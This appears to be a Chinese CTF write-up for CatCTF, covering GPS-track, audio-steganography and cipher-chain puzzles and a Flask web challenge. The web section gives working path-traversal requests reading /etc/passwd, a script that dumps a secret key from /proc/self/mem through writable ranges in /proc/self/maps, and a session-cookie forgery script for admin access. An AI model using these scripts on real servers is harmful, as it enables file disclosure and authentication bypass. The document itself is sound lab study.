一个为猫猫打猫粮的公益CTF,记录一下收获。
现题目已在攻防世界上线:
CatCTF原题
官网WP
一、Misc 1.CatchCat 第一次做GPS题,上网查了资料写脚本做出来了,很有成就感。
附件是GPS数据文件CatchCat.txt,里面有很多GPS数据:
格式都是:
$GPGGA,090000.00,3416.48590278,N,10856.86623887,E,1,05,2.87,160.00,M,-21.3213,M,,*7E
网上的解释:GPGGA格式详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 该数据帧的结构及各字段释义如下: $GPGGA,<1>,<2>,<3>,<4>,<5>,<6>,<7>,<8>,<9>,M,<10>,M,<11>,<12>*xx<CR><LF> $GPGGA:起始引导符及语句格式说明(本句为GPS定位数据); <1> UTC时间,格式为hhmmss.sss; <2> 纬度,格式为ddmm.mmmm(第一位是零也将传送); <3> 纬度半球,N或S(北纬或南纬) <4> 经度,格式为dddmm.mmmm(第一位零也将传送); <5> 经度半球,E或W(东经或西经) <6> GPS状态, 0初始化, 1单点定位, 2码差分, 3无效PPS, 4固定解, 5浮点解, 6正在估算 7,人工输入固定值, 8模拟模式, 9WAAS差分 <7> 使用卫星数量,从00到12(第一个零也将传送) <8> HDOP-水平精度因子,0.5到99.9,一般认为HDOP越小,质量越好。 <9> 椭球高,-9999.9到9999.9米 M 指单位米 <10> 大地水准面高度异常差值,-9999.9到9999.9米 M 指单位米 <11> 差分GPS数据期限(RTCM SC-104),最后设立RTCM传送的秒数量,如不是差分定位则为空 <12> 差分参考基站标号,从0000到1023(首位0也将传送)。 * 语句结束标志符 xx 从$开始到*之间的所有ASCII码的异或校验 <CR> 回车符,结束标记 <LF> 换行符,结束标记
但这题只用经纬就行。
上网知道了一个好用的py库叫pynmea2,可以提取其中的经纬度信息,然后查到了可以用
https://lbs.amap.com/demo/javascript-api/example/marker/replaying-historical-running-data
来回放点的轨迹。
写了一个Python脚本如下:
1 2 3 4 5 6 7 8 9 10 11 import pynmea2filename = 'CatchCat.txt' list = []with open (filename) as file_object: for line in file_object: list1= [] msg = pynmea2.parse(line) list1.append(msg.longitude) list1.append(msg.latitude) list .append(list1) print (list )
将输出结果粘贴到网站右侧放经纬度的地方,得到路线图:
虽然有点不清楚,但还是看的出来的,flag是CatCTF{GPS_M1ao}
2.Miao 下载得到一张图片,binwalk分析不出来,用16进制编译器查看发现有一个wav文件,手动分离。
是猫猫的Miao叫声的一个。
用Audacity打开,查看频谱图得到key:CatCTF
上网查了一下,知道了一款叫DeepSound的隐写工具。
用DeepSound打开,用CatCTF作为密码,得到flag.txt。
flag,txt打开发现是猫叫的密码,上网查了一下,选了一个网站解密
http://hi.pcmoe.net/roar.html。
得到flag
CatCTF{d0_y0u_Hate_c4t_ba3k1ng_?_M1ao~}
小总结:有找到密码的音频可以考虑DeepSound和SilentEye,这两个工具是可能要输入密码的
3.catcat 下载后得到一个猫猫.jpg 和一个我养了一只叫兔子的91岁的猫猫.txt ,猜测jpg有密钥,txt是flag的加密。
没发现名字的提示,且猫猫.jpg也没找到密钥,以为是用stegsolve。
这里要提一嘴,jpg不可能是LSB 。要去先了解原理,不要只会工具不会原理 。
后来才知道是rabbit加密(看txt文件名字的提示),至于密码,是在猫猫.jpg的数据里,用16进制编译器搜索password就行了。
用网站 解密txt文件里的内容:
得到的是base91编码的数据(txt文件名里也有提示)
再次用网站 解密:
得到的是Ook的加密,最后用网站 解密,得到flag:
CATCTF{Th1s_V3ry_cute_catcat!!!}
二、Web 1.catcat 任意文件读取漏洞。
当时只做到找到源码就不会了,主要原因是不会写脚本。
小总结:要提升锻炼写脚本的能力
重新再战这题!
首先是访问网站随便点一下发现可能存在任意文件读取的漏洞。
试着用 ?file=../../etc/passwd读取系统文件成功,说明确实存在任意文件读取的漏洞
那么我们就可以尝试读取源码了。
官方WP是用了?file=../../proc/self/cmdline先找到了文件名
用?file=../app.py读取源码
我当时是摸的?file../../app/app.py读取源码
上图读出来的源码很乱,但由前面b开头可知这是python中的bytes类型
可以直接使用bytes的decode()方法获取格式化的源码,如下
可以直接使用bytes的decode()方法获取格式化的源码,如下
1 2 source = b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)' print (source.decode())
得源码app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import osimport uuidfrom flask import Flask, request, session, render_template, Markupfrom cat import catflag = "" app = Flask( __name__, static_url_path='/' , static_folder='static' ) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh" if os.path.isfile("/flag" ): flag = cat("/flag" ) os.remove("/flag" ) @app.route('/' , methods=['GET' ] ) def index (): detailtxt = os.listdir('./details/' ) cats_list = [] for i in detailtxt: cats_list.append(i[:i.index('.' )]) return render_template("index.html" , cats_list=cats_list, cat=cat) @app.route('/info' , methods=["GET" , 'POST' ] ) def info (): filename = "./details/" + request.args.get('file' , "" ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )] return render_template("detail.html" , catname=name, info=cat(filename, start, end)) @app.route('/admin' , methods=["GET" ] ) def admin_can_list_root (): if session.get('admin' ) == 1 : return flag else : session['admin' ] = 0 return "NoNoNo" if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=False , port=5637 )
下面官网WP解释的很清楚,借一下(
首先关注含有flag的部分,以下代码可知程序一启动就读取并删除flag文件
1 2 3 if os.path.isfile("/flag" ): flag = cat("/flag" ) os.remove("/flag" )
关注到admin路由可以获取flag,但是需要完成session伪造
需要伪造内容为{"admin" : 1}
的session,则需要获取secret key
1 2 3 4 5 6 7 @app.route('/admin' , methods=["GET" ] ) def admin_can_list_root (): if session.get('admin' ) == 1 : return flag else : session['admin' ] = 0 return "NoNoNo"
secret key部分如下,是生成一个uuid然后去除-
再拼接*abcdefgh
组成的
1 app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh"
文件读取部分 可以看到任意文件读取功能是info路由提供的,
注意到可控参数有三个,分别是file,start和end
还注意到其中有个cat函数
1 2 3 4 5 6 7 8 @app.route('/info' , methods=["GET" , 'POST' ] ) def info (): filename = "./details/" + request.args.get('file' , "" ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )] return render_template("detail.html" , catname=name, info=cat(filename, start, end))
分析源码可知cat函数由cat.py提供
)
同理去访问?file=../cat.py再进行decode()得到cat.py源码。
cat.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import os, sys, getoptdef cat (filename, start=0 , end=0 )->bytes : data = b'' try : start = int (start) end = int (end) except : start=0 end=0 if filename != "" and os.access(filename, os.R_OK): f = open (filename, "rb" ) if start >= 0 : f.seek(start) if end >= start and end != 0 : data = f.read(end-start) else : data = f.read() else : data = f.read() f.close() else : data = ("File `%s` not exist or can not be read" % filename).encode() return data if __name__ == '__main__' : opts,args = getopt.getopt(sys.argv[1 :],'-h-f:-s:-e:' ,['help' ,'file=' ,'start=' ,'end=' ]) fileName = "" start = 0 end = 0 for opt_name, opt_value in opts: if opt_name == '-h' or opt_name == '--help' : print ("[*] Help" ) print ("-f --file File name" ) print ("-s --start Start position" ) print ("-e --end End position" ) print ("[*] Example of reading /etc/passwd" ) print ("python3 cat.py -f /etc/passwd" ) print ("python3 cat.py --file /etc/passwd" ) print ("python3 cat.py -f /etc/passwd -s 1" ) print ("python3 cat.py -f /etc/passwd -e 5" ) print ("python3 cat.py -f /etc/passwd -s 1 -e 5" ) exit() elif opt_name == '-f' or opt_name == '--file' : fileName = opt_value elif opt_name == '-s' or opt_name == '--start' : start = opt_value elif opt_name == '-e' or opt_name == '--end' : end = opt_value if fileName != "" : print (cat(fileName, start, end)) else : print ("No file to read" )
可以得到cat函数的定义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def cat (filename, start=0 , end=0 )->bytes : data = b'' try : start = int (start) end = int (end) except : start=0 end=0 if filename != "" and os.access(filename, os.R_OK): f = open (filename, "rb" ) if start >= 0 : f.seek(start) if end >= start and end != 0 : data = f.read(end-start) else : data = f.read() else : data = f.read() f.close() else : data = ("File `%s` not exist or can not be read" % filename).encode() return data
作用是读取文件并以bytes返回,观察可知可以设定读取位置(start、end)
结合app.py中:
1 2 3 4 5 6 7 8 @app.route('/info' , methods=["GET" , 'POST' ] ) def info (): filename = "./details/" + request.args.get('file' , "" ) start = request.args.get('start' , "0" ) end = request.args.get('end' , "0" ) name = request.args.get('file' , "" )[:request.args.get('file' , "" ).index('.' )] return render_template("detail.html" , catname=name, info=cat(filename, start, end))
我们可以知道可以传start和end参数来截取返回的部分内容,比如:
这又有什么用呢?不急,马上就有大用了。
这题的关键点就是伪造session,从而访问admin路由获取flag
但伪造session需要获取secret key
这里可以利用python存储对象的位置在堆上这个特性,
app是实例化的Flask对象,而secret key在app.config['SECRET_KEY']
,
所以可以通过读取/proc/self/mem来读取secret key
其实flag也在内存里,也可以正则匹配直接读取到flag。
但是/proc/self/mem内容较多而且存在不可不可读写部分,无法直接访问到
所以先读取/proc/self/maps获取堆栈分布,用脚本找到可读写部分,再去利用start与end参数访问出来,正则匹配secret_key。
从app.py中可以得到secret_key的格式:
1 app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) + "*abcdefgh"
参照了官方脚本和B站上大佬的脚本,我写了一个自己的脚本
main.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport reurl = "http://61.147.171.105:61020/" bypass = "../.." map_list = requests.get(url + f"info?file={bypass} /proc/self/maps" ) map_list = map_list.text.split("\\n" ) for i in map_list: map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i) if map_addr != None : start = int (map_addr.group(1 ), 16 ) end = int (map_addr.group(2 ), 16 ) mem = requests.get(url + f"info?file={bypass} /proc/self/mem&start={start} &end={end} " ) flag = re.findall("[a-zA-Z]{6}\{[a-z0-9A-Z-_]*\}" , mem.text) if flag: print (flag[0 ]) if "*abcdefgh" in mem.text: secretkey = re.findall("[a-z0-9]{32}\*abcdefgh" ,mem.text) if secretkey: print (secretkey[0 ])
可以得到flag和secretkey
其实已经得到flag:catctf{Catch_the_c4t_HaHa}
但是还是可以尝试session伪造一下:
由app.py,访问/admin时session里的admin为1时返回flag。
官网是给出了一个github项目:
session伪造可以利用如下项目
1 https://github.com/noraj/flask-session-cookie-manager
用这个伪造就行了
最后官方的脚本是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import requestsimport reimport ast, sysfrom abc import ABCfrom flask.sessions import SecureCookieSessionInterfaceurl = "http://" if sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) class MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e s_key = "" bypass = "../.." map_list = requests.get(url + f"info?file={bypass} /proc/self/maps" ) map_list = map_list.text.split("\\n" ) for i in map_list: map_addr = re.match (r"([a-z0-9]+)-([a-z0-9]+) rw" , i) if map_addr: start = int (map_addr.group(1 ), 16 ) end = int (map_addr.group(2 ), 16 ) print ("Found rw addr:" , start, "-" , end) res = requests.get(f"{url} /info?file={bypass} /proc/self/mem&start={start} &end={end} " ) if "*abcdefgh" in res.text: secret_key = re.findall("[a-z0-9]{32}\*abcdefgh" , res.text) if secret_key: print ("Secret Key:" , secret_key[0 ]) s_key = secret_key[0 ] break data = '{"admin":1}' headers = { "Cookie" : "session=" + FSCM.encode(s_key, data) } try : flag = requests.get(url + "admin" , headers=headers) print ("Flag is" , flag.text) except : print ("Something error" )
这里session伪造其实还不是很清楚,如何知道什么加密呢,还是只能用项目,用jwt库能否实现伪造。
但flag总归是出了:flag:catctf{Catch_the_c4t_HaHa}